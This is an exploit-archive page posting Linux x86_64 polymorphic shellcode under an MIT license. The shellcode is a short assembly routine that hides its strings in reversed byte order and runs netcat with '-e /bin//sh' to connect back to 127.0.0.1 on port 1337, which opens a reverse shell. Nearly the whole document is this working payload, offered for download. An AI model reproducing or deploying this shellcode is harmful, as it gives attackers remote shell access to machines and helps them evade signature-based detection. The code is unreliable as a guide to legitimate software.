what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux x86_64 Polymorphic NetCat Reverse Shell Shellcode

Linux x86_64 Polymorphic NetCat Reverse Shell Shellcode
Posted Mar 5, 2017
Authored by Robert L. Taylor

106 bytes small Linux x86_64 polymorphic netcat reverse shell shellcode.

tags | shell, shellcode
systems | linux
SHA-256 | a7cb12f7de04f97937d7b3c2ad86407b54d23c63b1047403e5d243defb2238cc

Linux x86_64 Polymorphic NetCat Reverse Shell Shellcode

Change Mirror Download
;The MIT License (MIT)

;Copyright (c) 2017 Robert L. Taylor

;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the aSoftwarea),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:

;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.

;The Software is provided aas isa, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html

global _start

section .text

_start:
jmp next
sh:
db 0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f
nc:
db 0x63,0x6e,0x2f,0x2f,0x6e,0x69,0x62,0x2f
ip:
db 0x2e,0x30,0x2e,0x30,0x2e,0x37,0x32,0x31
handle:
pop rcx
lodsq
bswap rax
push rax
push rsp
push rcx
ret
next:
xor edx,edx
lea rsi,[rel sh]
push rdx
call handle
pop rbx

push rdx
call handle
pop rdi

push '1'
call handle
pop r12

push '1337'
push rsp
pop rcx

push rdx
push word '-e'
push rsp
pop rax

push rdx ; push null
push rbx ; '/bin//sh'
push rax ; '-e'
push rcx ; '1337'
push r12 ; '127.0.0.1'
push rdi ; '/bin//nc'
push rsp
pop rsi ; address of array of pointers to strings

; some magic to put 3b (59) into RAX
; note that this depends on the push "-e"
; and it's position on the stack
mov rax,[rsp + 48]
shr rax,8
sub rax,0x2a
syscall

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close